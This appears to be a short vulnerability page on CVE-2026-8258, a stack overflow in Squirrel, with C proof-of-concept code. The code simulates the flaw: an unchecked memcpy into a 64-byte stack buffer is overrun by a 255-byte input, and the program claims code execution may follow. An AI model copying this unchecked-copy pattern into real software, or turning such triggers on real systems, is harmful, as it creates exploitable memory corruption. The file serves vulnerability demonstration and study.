CVE-2026-8258 Squirrel栈缓冲区溢出漏洞

/* * PoC for CVE-2026-8258 * Trigger stack-based buffer overflow in validate_format function * This code demonstrates the vulnerability concept. */ #include <stdio.h> #include <string.h> #include <stdlib.h> // Simulating the vulnerable logic in sqstdlib/sqstdstring.cpp void vulnerable_validate_format(char *input) { char buffer[64]; // Stack buffer with limited size // The flaw: using memcpy without checking input length against buffer size // This leads to stack-based buffer overflow memcpy(buffer, input, strlen(input)); printf("Buffer content: %s\n", buffer); } int main() { printf("[+] CVE-2026-8258 PoC Trigger\n"); // Create a payload larger than the buffer (64 bytes) // This simulates the manipulation mentioned in the CVE description char *payload = (char *)malloc(256); memset(payload, 'A', 255); payload[255] = '\0'; printf("[+] Sending payload of length 255...\n"); vulnerable_validate_format(payload); printf("[+] Exploit finished (Crash or code execution expected)\n"); free(payload); return 0; }